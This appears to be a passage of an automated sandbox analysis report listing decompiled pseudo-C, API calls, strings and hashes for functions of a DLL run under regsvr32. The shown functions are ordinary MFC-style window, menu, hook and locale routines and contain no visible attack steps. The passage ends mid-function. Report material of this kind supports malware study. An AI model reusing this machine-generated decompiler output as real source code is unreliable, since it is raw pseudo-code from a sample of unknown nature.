				 *[fs:0x0] =  &_v16;
				_t215 = __ecx;
				E6EB52DEE(_t152, __ecx, __ecx);
				_t153 = E6EB53E65(_t152, _t156, _t215, _t217, _t235, GetSystemMenu( *(_t215 + 0x20), 0));
				if(_t153 != 0) {
					_t142 = E6EB4838C();
					_t237 = _t142;
					_t190 = 0 | _t237 == 0x00000000;
					if(_t237 == 0) {
						_t142 = E6EB41000(_t190, _t196, 0x80004005);
					}
					_t210 =  *_t142;
					_t6 =  *((intOrPtr*)( *((intOrPtr*)(_t210 + 0xc))))() + 0x10; // 0x10
					_t224 = _t6;
					_v40 = _t224;
					_push(0x65);
					_v8 = 0;
					if(E6EB53471() != 0) {
						E6EB46870(_t153,  &_v40, _t215, _t224, _t225, _t145, 0x65);
						_t224 = _v48;
					}
					if( *((intOrPtr*)(_t224 - 0xc)) != 0) {
						AppendMenuA( *(_t153 + 4), 0x800, 0, 0);
						_t210 =  *(_t153 + 4);
						AppendMenuA(_t210, 0, 0x10, _t224);
					}
					_t14 = _t224 - 0x10; // 0x0
					_t146 = _t14;
					_v8 = 0xffffffff;
					asm("lock xadd [ecx], edx");
					if((_t210 | 0xffffffff) - 1 <= 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t146)) + 4))))(_t146);
					}
				}
				SendMessageA( *(_t215 + 0x20), 0x80, 1,  *(_t215 + 0x358));
				SendMessageA( *(_t215 + 0x20), 0x80, 0,  *(_t215 + 0x358));
				_t218 = _t215 + 0x148;
				E6EB49F80(_t218, 0, 0xff, 0);
				SendMessageA( *(_t218 + 0x20), 0x405, 1, 0x80);
				E6EB412C0( *(_t218 + 0x20), _t218);
				 *((intOrPtr*)(_t218 + 0x80)) = E6EB4F53F(_t215, 0x3ed);
				_a52 =  *(_t218 + 0x20);
				E6EB4F6CB(_t85, 5);
				SendMessageA( *(_t218 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t218 + 0x20), _t218);
				E6EB46B40(0x5b5be3, _t218);
				SendMessageA( *(_t215 + 0x168), 0x414, 0x10, 0);
				SendMessageA( *(_t215 + 0x168), 0x415, 0, 0x20);
				_t219 = _t215 + 0x250;
				E6EB49F80(_t219, 0, 0xff, 0);
				SendMessageA( *(_t219 + 0x20), 0x405, 1, 0x80);
				E6EB412C0( *(_t219 + 0x20), _t219);
				 *((intOrPtr*)(_t219 + 0x80)) = E6EB4F53F(_t215, 0x3ee);
				_a52 =  *(_t219 + 0x20);
				E6EB4F6CB(_t97, 5);
				SendMessageA( *(_t219 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t219 + 0x20), _t219);
				E6EB46B40(0x5be35b, _t219);
				SendMessageA( *(_t215 + 0x270), 0x414, 0x10, 0);
				SendMessageA( *(_t215 + 0x270), 0x415, 0, 0x20);
				_t220 = _t215 + 0x2d4;
				E6EB49F80(_t220, 0, 0xff, 0);
				SendMessageA( *(_t220 + 0x20), 0x405, 1, 0x80);
				E6EB412C0( *(_t220 + 0x20), _t220);
				 *((intOrPtr*)(_t220 + 0x80)) = E6EB4F53F(_t215, 0x3ef);
				_a52 =  *(_t220 + 0x20);
				E6EB4F6CB(_t109, 5);
				SendMessageA( *(_t220 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t220 + 0x20), _t220);
				E6EB46B40(0xe35b5b, _t220);
				SendMessageA( *(_t215 + 0x2f4), 0x414, 0x10, 0);
				SendMessageA( *(_t215 + 0x2f4), 0x415, 0, 0x20);
				_t221 = _t215 + 0x1cc;
				E6EB49F80(_t221, 0, 0xf0, 0);
				SendMessageA( *(_t221 + 0x20), 0x405, 1, 0x78);
				E6EB412C0( *(_t221 + 0x20), _t221);
				 *((intOrPtr*)(_t221 + 0x80)) = E6EB4F53F(_t215, 0x3f0);
				_a52 =  *(_t221 + 0x20);
				E6EB4F6CB(_t121, 5);
				SendMessageA( *(_t221 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t221 + 0x20), _t221);
				E6EB46B40(0xc0c0c0, _t221);
				SendMessageA( *(_t215 + 0x1ec), 0x414, 0xc, 0);
				SendMessageA( *(_t215 + 0x1ec), 0x415, 0, 0x18);
				_t222 = E6EB4F53F(_t215, 0x3e8);
				GetClientRect( *(_t222 + 0x20),  &_v120);
				MapWindowPoints( *(_t222 + 0x20),  *(_t215 + 0x20),  &_v120, 2);
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t215 + 0x7c)) + 0x54))))(0, "Spectrum", 0x50000000,  &_v120, _t215, 0x1245, 0);
				SendMessageA( *(_t222 + 0x20), 0x10, 0, 0);
				PostMessageA( *(_t215 + 0x20), 0x115, 0,  *(_t215 + 0x168));
				 *[fs:0x0] = _v128;
				return 1;
			}

APIs

GetSystemMenu.USER32(?,00000000,8926F9D4), ref: 6EB45D0A
AppendMenuA.USER32 ref: 6EB45D86
AppendMenuA.USER32 ref: 6EB45D91
SendMessageA.USER32 ref: 6EB45DCF
SendMessageA.USER32 ref: 6EB45DE3
SendMessageA.USER32 ref: 6EB45E0B
SendMessageA.USER32 ref: 6EB45E44
SendMessageA.USER32 ref: 6EB45E65
SendMessageA.USER32 ref: 6EB45E77
SendMessageA.USER32 ref: 6EB45E9F
SendMessageA.USER32 ref: 6EB45ED8
SendMessageA.USER32 ref: 6EB45EF9
SendMessageA.USER32 ref: 6EB45F0B
SendMessageA.USER32 ref: 6EB45F33
SendMessageA.USER32 ref: 6EB45F6C
SendMessageA.USER32 ref: 6EB45F8D
SendMessageA.USER32 ref: 6EB45F9F
SendMessageA.USER32 ref: 6EB45FC4

Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41303
Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41314

Part of subcall function 6EB4F53F: GetDlgItem.USER32 ref: 6EB4F550

Part of subcall function 6EB4F6CB: ShowWindow.USER32(?,?), ref: 6EB4F6DC

SendMessageA.USER32 ref: 6EB45FFD

Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,000001F4,00000001), ref: 6EB46B83
Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFF2E,00000001), ref: 6EB46B90
Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFEB3,00000001), ref: 6EB46B9D
Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFE0C,00000001), ref: 6EB46BAA
Part of subcall function 6EB46B40: CreateSolidBrush.GDI32(005B5BE3), ref: 6EB46BBF
Part of subcall function 6EB46B40: CreateBitmap.GDI32(00000008,00000008,00000001,00000001,?), ref: 6EB46C2A
Part of subcall function 6EB46B40: CreateBrushIndirect.GDI32(00000003), ref: 6EB46C60

SendMessageA.USER32 ref: 6EB4601E
SendMessageA.USER32 ref: 6EB46030
GetClientRect.USER32 ref: 6EB46049
MapWindowPoints.USER32 ref: 6EB4605E
SendMessageA.USER32 ref: 6EB46092
PostMessageA.USER32(?,00000115,00000000,?), ref: 6EB460A6

Strings

Spectrum, xrefs: 6EB4607F
[[, xrefs: 6EB45E4B
[[, xrefs: 6EB45F73
[[, xrefs: 6EB45EDF

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Message$Send$AdjustColorLuma$CreateMenu$AppendBrushWindow$BitmapClientIndirectItemPointsPostRectShowSolidSystem
String ID: Spectrum$[[$[[$[[
API String ID: 2261454407-2031012944
Opcode ID: e1c1ef1090df87fbfbe5bea072e74029ceee9fd1ec0264234715168c3be04161
Instruction ID: 73c41df5729a1558f5bd62318f09f060b55f7df688e15f48cb8305b8d75a0ae3
Opcode Fuzzy Hash: e1c1ef1090df87fbfbe5bea072e74029ceee9fd1ec0264234715168c3be04161
Instruction Fuzzy Hash: 67B1A771340745BBE614DBB4CC86FAEB799BB88B04F104A18F745AB2C5DBB4F8019798

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4E019 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6EB4E019(void* __ebx, intOrPtr __edi, void* __esi, void* __eflags) {
				intOrPtr _t54;
				signed int _t56;
				signed int _t59;
				long _t60;
				signed int _t64;
				void* _t66;
				signed int _t72;
				signed int _t74;
				signed int _t76;
				long _t83;
				signed int _t86;
				signed short _t87;
				signed int _t88;
				int _t94;
				void* _t106;
				long* _t108;
				long _t110;
				signed int _t111;
				CHAR* _t112;
				intOrPtr _t113;
				void* _t116;
				void* _t119;
				intOrPtr _t120;

				_t119 = __eflags;
				_t105 = __edi;
				_push(0x148);
				E6EB66564(0x6eb775bf, __ebx, __edi, __esi);
				_t110 =  *(_t116 + 0x10);
				_t94 =  *(_t116 + 0xc);
				_push(0x6eb48bc0);
				 *(_t116 - 0x120) = _t110;
				_t54 = E6EB55A32(_t94, 0x6eb8c6e8, __edi, _t110, _t119);
				_t120 = _t54;
				_t97 = 0 | _t120 == 0x00000000;
				 *((intOrPtr*)(_t116 - 0x11c)) = _t54;
				_t121 = _t120 == 0;
				if(_t120 == 0) {
					_t54 = E6EB48BA4(_t94, _t97, __edi, _t110, _t121);
				}
				if( *(_t116 + 8) == 3) {
					_t106 =  *_t110;
					_t111 =  *(_t54 + 0x14);
					_t56 =  *(E6EB53D20(_t94, _t106, _t111, __eflags) + 0x14) & 0x000000ff;
					 *(_t116 - 0x124) = _t56;
					__eflags = _t111;
					if(_t111 != 0) {
						L7:
						__eflags =  *0x6eb8c97c;
						if( *0x6eb8c97c == 0) {
							L12:
							__eflags = _t111;
							if(__eflags == 0) {
								__eflags =  *0x6eb8c6a4;
								if( *0x6eb8c6a4 != 0) {
									L19:
									__eflags = (GetClassLongA(_t94, 0xffffffe0) & 0x0000ffff) -  *0x6eb8c6a4; // 0x0
									if(__eflags != 0) {
										L23:
										_t59 = GetWindowLongA(_t94, 0xfffffffc);
										 *(_t116 - 0x14) = _t59;
										__eflags = _t59;
										if(_t59 != 0) {
											_t112 = "AfxOldWndProc423";
											_t64 = GetPropA(_t94, _t112);
											__eflags = _t64;
											if(_t64 == 0) {
												SetPropA(_t94, _t112,  *(_t116 - 0x14));
												_t66 = GetPropA(_t94, _t112);
												__eflags = _t66 -  *(_t116 - 0x14);
												if(_t66 ==  *(_t116 - 0x14)) {
													GlobalAddAtomA(_t112);
													SetWindowLongA(_t94, 0xfffffffc, E6EB4DECC);
												}
											}
										}
										L27:
										_t105 =  *((intOrPtr*)(_t116 - 0x11c));
										_t60 = CallNextHookEx( *(_t105 + 0x28), 3, _t94,  *(_t116 - 0x120));
										__eflags =  *(_t116 - 0x124);
										_t110 = _t60;
										if( *(_t116 - 0x124) != 0) {
											UnhookWindowsHookEx( *(_t105 + 0x28));
											_t50 = _t105 + 0x28;
											 *_t50 =  *(_t105 + 0x28) & 0x00000000;
											__eflags =  *_t50;
										}
										goto L30;
									}
									goto L27;
								}
								_t113 = 0x30;
								E6EB65E80(_t106, _t116 - 0x154, 0, _t113);
								 *((intOrPtr*)(_t116 - 0x154)) = _t113;
								_push(_t116 - 0x154);
								_push("#32768");
								_push(0);
								_t72 = E6EB4B17A(_t94, _t97, _t106, "#32768", __eflags);
								 *0x6eb8c6a4 = _t72;
								__eflags = _t72;
								if(_t72 == 0) {
									_t74 = GetClassNameA(_t94, _t116 - 0x118, 0x100);
									__eflags = _t74;
									if(_t74 == 0) {
										goto L23;
									}
									 *((char*)(_t116 - 0x19)) = 0;
									_t76 = E6EB66D92(_t116 - 0x118, "#32768");
									__eflags = _t76;
									if(_t76 == 0) {
										goto L27;
									}
									goto L23;
								}
								goto L19;
							}
							E6EB53D6C(_t116 - 0x18, __eflags,  *((intOrPtr*)(_t111 + 0x1c)));
							 *(_t116 - 4) =  *(_t116 - 4) & 0x00000000;
							E6EB4C77A(_t111, _t94);
							 *((intOrPtr*)( *_t111 + 0x50))();
							_t108 =  *((intOrPtr*)( *_t111 + 0xf8))();
							_t83 = SetWindowLongA(_t94, 0xfffffffc, E6EB4CEBF);
							__eflags = _t83 - E6EB4CEBF;
							if(_t83 != E6EB4CEBF) {
								 *_t108 = _t83;
							}
							 *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) =  *( *((intOrPtr*)(_t116 - 0x11c)) + 0x14) & 0x00000000;
							 *(_t116 - 4) =  *(_t116 - 4) | 0xffffffff;
							__eflags =  *(_t116 - 0x14);
							if( *(_t116 - 0x14) != 0) {
								_push( *(_t116 - 0x18));
								_push(0);
								E6EB53579();
							}
							goto L27;
						}
						_t86 = GetClassLongA(_t94, 0xffffffe6);
						__eflags = _t86 & 0x00010000;
						if((_t86 & 0x00010000) != 0) {
							goto L27;
						}
						_t87 =  *(_t106 + 0x28);
						__eflags = _t87 - 0xffff;
						if(_t87 <= 0xffff) {
							 *(_t116 - 0x18) = 0;
							GlobalGetAtomNameA( *(_t106 + 0x28) & 0x0000ffff, _t116 - 0x18, 5);
							_t87 = _t116 - 0x18;
						}
						_t88 = E6EB4B3B6(_t87, "ime");
						_pop(_t97);
						__eflags = _t88;
						if(_t88 == 0) {
							goto L27;
						}
						goto L12;
					}
					__eflags =  *(_t106 + 0x20) & 0x40000000;
					if(( *(_t106 + 0x20) & 0x40000000) != 0) {
						goto L27;
					}
					__eflags = _t56;
					if(_t56 != 0) {
						goto L27;
					}
					goto L7;
				} else {
					CallNextHookEx( *(_t54 + 0x28),  *(_t116 + 8), _t94, _t110);
					L30:
					return E6EB665E7(_t94, _t105, _t110);
				}
			}

0x6eb4e019
0x6eb4e019
0x6eb4e019
0x6eb4e023
0x6eb4e028
0x6eb4e02b
0x6eb4e02e
0x6eb4e038
0x6eb4e03e
0x6eb4e045
0x6eb4e047
0x6eb4e04a
0x6eb4e050
0x6eb4e052
0x6eb4e054
0x6eb4e054
0x6eb4e05d
0x6eb4e072
0x6eb4e074
0x6eb4e07c
0x6eb4e080
0x6eb4e086
0x6eb4e088
0x6eb4e09f
0x6eb4e09f
0x6eb4e0a6
0x6eb4e0f3
0x6eb4e0f3
0x6eb4e0f5
0x6eb4e15d
0x6eb4e165
0x6eb4e1a1
0x6eb4e1ad
0x6eb4e1b4
0x6eb4e1e6
0x6eb4e1e9
0x6eb4e1ef
0x6eb4e1f2
0x6eb4e1f4
0x6eb4e1fc
0x6eb4e203
0x6eb4e205
0x6eb4e207
0x6eb4e20e
0x6eb4e216
0x6eb4e218
0x6eb4e21b
0x6eb4e21e
0x6eb4e22c
0x6eb4e22c
0x6eb4e21b
0x6eb4e207
0x6eb4e232
0x6eb4e238
0x6eb4e244
0x6eb4e24a
0x6eb4e251
0x6eb4e253
0x6eb4e258
0x6eb4e25e
0x6eb4e25e
0x6eb4e25e
0x6eb4e25e
0x00000000
0x6eb4e262
0x00000000
0x6eb4e1b6
0x6eb4e169
0x6eb4e174
0x6eb4e17f
0x6eb4e185
0x6eb4e18b
0x6eb4e18c
0x6eb4e18e
0x6eb4e196
0x6eb4e19c
0x6eb4e19f
0x6eb4e1c5
0x6eb4e1cb
0x6eb4e1cd
0x00000000
0x00000000
0x6eb4e1d7
0x6eb4e1db
0x6eb4e1e2
0x6eb4e1e4
0x00000000
0x00000000
0x00000000
0x6eb4e1e4
0x00000000
0x6eb4e19f
0x6eb4e0fd
0x6eb4e102
0x6eb4e109
0x6eb4e112
0x6eb4e128
0x6eb4e12a
0x6eb4e130
0x6eb4e132
0x6eb4e134
0x6eb4e134
0x6eb4e13c
0x6eb4e140
0x6eb4e144
0x6eb4e148
0x6eb4e14e
0x6eb4e151
0x6eb4e153
0x6eb4e153
0x00000000
0x6eb4e148
0x6eb4e0ab
0x6eb4e0b1
0x6eb4e0b6
0x00000000
0x00000000
0x6eb4e0bc
0x6eb4e0bf
0x6eb4e0c4
0x6eb4e0d1
0x6eb4e0d5
0x6eb4e0db
0x6eb4e0db
0x6eb4e0e4
0x6eb4e0ea
0x6eb4e0eb
0x6eb4e0ed
0x00000000
0x00000000
0x00000000
0x6eb4e0ed
0x6eb4e08a
0x6eb4e091
0x00000000
0x00000000
0x6eb4e097
0x6eb4e099
0x00000000
0x00000000
0x00000000
0x6eb4e05f
0x6eb4e067
0x6eb4e264
0x6eb4e269
0x6eb4e269

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB4E023

Part of subcall function 6EB55A32: __EH_prolog3.LIBCMT ref: 6EB55A39

CallNextHookEx.USER32 ref: 6EB4E067

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

GetClassLongA.USER32(?,000000E6), ref: 6EB4E0AB
GlobalGetAtomNameA.KERNEL32 ref: 6EB4E0D5
SetWindowLongA.USER32(?,000000FC,Function_0000CEBF), ref: 6EB4E12A
_memset.LIBCMT ref: 6EB4E174
GetClassLongA.USER32(?,000000E0), ref: 6EB4E1A4
GetClassNameA.USER32(?,?,00000100), ref: 6EB4E1C5
GetWindowLongA.USER32 ref: 6EB4E1E9
GetPropA.USER32 ref: 6EB4E203
SetPropA.USER32(?,AfxOldWndProc423,?), ref: 6EB4E20E
GetPropA.USER32 ref: 6EB4E216
GlobalAddAtomA.KERNEL32 ref: 6EB4E21E
SetWindowLongA.USER32(?,000000FC,Function_0000DECC), ref: 6EB4E22C
CallNextHookEx.USER32 ref: 6EB4E244
UnhookWindowsHookEx.USER32(?), ref: 6EB4E258

Strings

AfxOldWndProc423, xrefs: 6EB4E1FC, 6EB4E201, 6EB4E20C, 6EB4E214, 6EB4E21D
#32768, xrefs: 6EB4E186, 6EB4E18B, 6EB4E1D5
ime, xrefs: 6EB4E0DE

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Long$ClassHookPropWindow$AtomCallGlobalH_prolog3NameNext$Exception@8H_prolog3_ThrowUnhookWindows_memset
String ID: #32768$AfxOldWndProc423$ime
API String ID: 1191297049-4034971020
Opcode ID: 11b3136b982487a09c75543c2beca3f1f3071c490cb6dc2680bfbce4ef11c513
Instruction ID: 776cf29a5a115ee7b924e16652f01ab0c435f69aa16e220df49ff5daca4a73db
Opcode Fuzzy Hash: 11b3136b982487a09c75543c2beca3f1f3071c490cb6dc2680bfbce4ef11c513
Instruction Fuzzy Hash: 02619C715006A6EFDF11DBA4CC08BEE7F78EF06325F110154E514AB288DB309A81DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB507D6 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 158
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6EB507D6(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t61;
				_Unknown_base(*)()* _t62;
				struct HINSTANCE__* _t63;
				struct HINSTANCE__* _t76;
				unsigned int _t79;
				signed short _t87;
				unsigned int _t88;
				_Unknown_base(*)()* _t95;
				signed short _t97;
				unsigned int _t98;
				signed int _t106;
				signed int _t118;
				signed int _t127;
				void* _t130;

				_push(0x15c);
				E6EB66564(0x6eb776e6, __ebx, __edi, __esi);
				 *((intOrPtr*)(_t130 - 0x124)) =  *((intOrPtr*)(_t130 + 8));
				_t123 = 0;
				 *((intOrPtr*)(_t130 - 0x130)) =  *((intOrPtr*)(_t130 + 0xc));
				 *(_t130 - 0x120) = 0;
				 *(_t130 - 0x11c) = 0;
				_t61 = GetModuleHandleA("kernel32.dll");
				_t106 = GetProcAddress;
				 *(_t130 - 0x134) = _t61;
				_t62 = GetProcAddress(_t61, "GetUserDefaultUILanguage");
				if(_t62 == 0) {
					_t63 = GetModuleHandleA("ntdll.dll");
					if(_t63 != 0) {
						 *(_t130 - 0x120) = 0;
						EnumResourceLanguagesA(_t63, 0x10, 1, E6EB5009A, _t130 - 0x120);
						if( *(_t130 - 0x120) != 0) {
							_t79 =  *(_t130 - 0x120) & 0x0000ffff;
							_t123 = _t79 & 0x3ff;
							 *((intOrPtr*)(_t130 - 0x148)) = ConvertDefaultLocale(_t79 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t123);
							 *((intOrPtr*)(_t130 - 0x144)) = ConvertDefaultLocale(_t123);
							 *(_t130 - 0x11c) = 2;
						}
					}
				} else {
					_t87 =  *_t62() & 0x0000ffff;
					 *(_t130 - 0x120) = _t87;
					_t88 = _t87 & 0x0000ffff;
					_t123 = 0x3ff;
					_t118 = _t88 & 0x3ff;
					 *(_t130 - 0x11c) = _t118;
					 *((intOrPtr*)(_t130 - 0x148)) = ConvertDefaultLocale(_t88 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t118);
					 *((intOrPtr*)(_t130 - 0x144)) = ConvertDefaultLocale( *(_t130 - 0x11c));
					 *(_t130 - 0x11c) = 2;
					_t95 = GetProcAddress( *(_t130 - 0x134), "GetSystemDefaultUILanguage");
					if(_t95 != 0) {
						_t97 =  *_t95() & 0x0000ffff;
						 *(_t130 - 0x120) = _t97;
						_t98 = _t97 & 0x0000ffff;
						_t123 = _t98 & 0x3ff;
						 *((intOrPtr*)(_t130 - 0x140)) = ConvertDefaultLocale(_t98 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t123);
						 *((intOrPtr*)(_t130 - 0x13c)) = ConvertDefaultLocale(_t123);
						 *(_t130 - 0x11c) = 4;
					}
				}
				 *(_t130 - 0x11c) =  &(1[ *(_t130 - 0x11c)]);
				 *((intOrPtr*)(_t130 +  *(_t130 - 0x11c) * 4 - 0x148)) = 0x800;
				_t126 = 0x6eb40000;
				 *((char*)(_t130 - 0x13)) = 0;
				 *((char*)(_t130 - 0x14)) = 0;
				if(GetModuleFileNameA(0x6eb40000, _t130 - 0x118, 0x105) != 0) {
					_t123 = 0x20;
					_t106 = 0;
					E6EB65E80(_t123, _t130 - 0x168, 0, _t123);
					 *(_t130 - 0x168) = _t123;
					 *((intOrPtr*)(_t130 - 0x160)) = _t130 - 0x118;
					 *((intOrPtr*)(_t130 - 0x154)) = 0x3e8;
					 *(_t130 - 0x14c) = 0x6eb40000;
					 *((intOrPtr*)(_t130 - 0x164)) = 0x88;
					E6EB500B4(_t130 - 0x12c, 0xffffffff);
					 *(_t130 - 4) = 0;
					if(E6EB5016B(_t130 - 0x12c, _t130 - 0x168) != 0) {
						E6EB501A5(_t130 - 0x12c);
					}
					_t127 = 0;
					if( *(_t130 - 0x11c) <= _t106) {
						L13:
						_t126 = 0;
						goto L15;
					} else {
						while(1) {
							_t76 = E6EB505A6( *((intOrPtr*)(_t130 - 0x124)),  *((intOrPtr*)(_t130 - 0x130)), _t123,  *((intOrPtr*)(_t130 + _t127 * 4 - 0x148)));
							if(_t76 != _t106) {
								_t126 = _t76;
								break;
							}
							_t127 =  &(1[_t127]);
							if(_t127 <  *(_t130 - 0x11c)) {
								continue;
							}
							goto L13;
						}
						L15:
						 *(_t130 - 4) =  *(_t130 - 4) | 0xffffffff;
						E6EB50678(_t130 - 0x12c);
						goto L7;
					}
				}
				L7:
				return E6EB665E7(_t106, _t123, _t126);
			}

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB507E0
GetModuleHandleA.KERNEL32(kernel32.dll,0000015C,6EB50AA7,?,?), ref: 6EB50810
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 6EB50824
ConvertDefaultLocale.KERNEL32(?), ref: 6EB50860
ConvertDefaultLocale.KERNEL32(?), ref: 6EB5086E
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 6EB5088B
ConvertDefaultLocale.KERNEL32(?), ref: 6EB508B6
ConvertDefaultLocale.KERNEL32(000003FF), ref: 6EB508BF
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 6EB508D8
EnumResourceLanguagesA.KERNEL32 ref: 6EB508F5
ConvertDefaultLocale.KERNEL32(?), ref: 6EB50928
ConvertDefaultLocale.KERNEL32(00000000), ref: 6EB50931
GetModuleFileNameA.KERNEL32(6EB40000,?,00000105), ref: 6EB50974
_memset.LIBCMT ref: 6EB50994

Strings

kernel32.dll, xrefs: 6EB507F9
GetSystemDefaultUILanguage, xrefs: 6EB50870
ntdll.dll, xrefs: 6EB508D3
GetUserDefaultUILanguage, xrefs: 6EB50818

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressHandleProc$EnumFileH_prolog3_LanguagesNameResource_memset
String ID: GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 3537336938-2299501126
Opcode ID: 94ff486a1334b2b097a7ae0846bede8824a7e5b152ad0e032adaf0e4b88d8020
Instruction ID: 4acfe1c66c19466c6cb5e14a66d98ab07e7148fd5be3dc76ed00736a7e14688f
Opcode Fuzzy Hash: 94ff486a1334b2b097a7ae0846bede8824a7e5b152ad0e032adaf0e4b88d8020
Instruction Fuzzy Hash: C9514B71D102688FDF65DFA5CC447EDBAB8AB59304F0041EAE548E3280E7748A91CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB62211 Relevance: 29.0, APIs: 19, Instructions: 460
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6EB62211(void* __ebx, signed short* __ecx, void* __edi, void* __esi) {
				signed int* _t193;
				void* _t197;
				signed int _t210;
				signed int _t214;
				void* _t216;
				intOrPtr _t219;
				signed short _t220;
				signed short _t222;
				signed short _t224;
				void* _t238;
				CHAR* _t244;
				signed short _t245;
				signed short _t246;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t258;
				signed short _t261;
				void* _t265;
				signed short _t268;
				signed short _t269;
				signed short* _t272;
				signed int _t290;
				signed short* _t291;
				signed int _t306;
				signed int _t311;
				void* _t313;
				intOrPtr* _t314;
				signed short* _t316;
				signed short _t318;
				intOrPtr* _t319;
				intOrPtr _t320;
				signed short* _t321;
				void* _t322;
				void* _t323;
				void* _t324;

				_t267 = __ebx;
				_push(__esi);
				_push(__edi);
				_t316 = __ecx;
				_t311 = 0;
				if( *((intOrPtr*)(__ecx + 8)) <= 0) {
					L6:
					return _t193;
				} else {
					_push(__ebx);
					while(1) {
						_t272 = _t316;
						if( *((intOrPtr*)(E6EB61367(_t272, _t311))) == 0) {
							break;
						}
						_t272 = _t316;
						if( *((intOrPtr*)(E6EB61367(_t272, _t311) + 4)) == 0) {
							break;
						} else {
							_t265 = E6EB61367(_t316, _t311);
							_t267 = _t265;
							_t193 =  *(E6EB61367(_t316, _t311));
							_t311 = _t311 + 1;
							 *_t193 = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t265 + 4)))) != 0x00000000;
							if(_t311 < _t316[4]) {
								continue;
							} else {
								goto L6;
							}
						}
						goto L86;
					}
					E6EB48BA4(_t267, _t272, _t311, _t316, __eflags);
					asm("int3");
					_push(0x7c);
					_t197 = E6EB664FB(0x6eb7849c, _t267, _t311, _t316);
					 *(_t322 - 0x24) = _t272;
					_t268 = 0;
					__eflags =  *_t272;
					if( *_t272 != 0) {
						 *((intOrPtr*)(_t322 - 0x54)) = 0;
						 *((intOrPtr*)(_t322 - 0x50)) = 0;
						 *(_t322 - 0x4c) = 0;
						 *((intOrPtr*)(_t322 - 0x48)) = 0;
						 *(_t322 - 4) = 0;
						E6EB65E80(_t311, _t322 - 0x54, 0, 0x10);
						_t324 = _t323 + 0xc;
						__eflags =  *(_t322 + 0x18);
						if( *(_t322 + 0x18) != 0) {
							 *(_t322 - 0x4c) = lstrlenA( *(_t322 + 0x18));
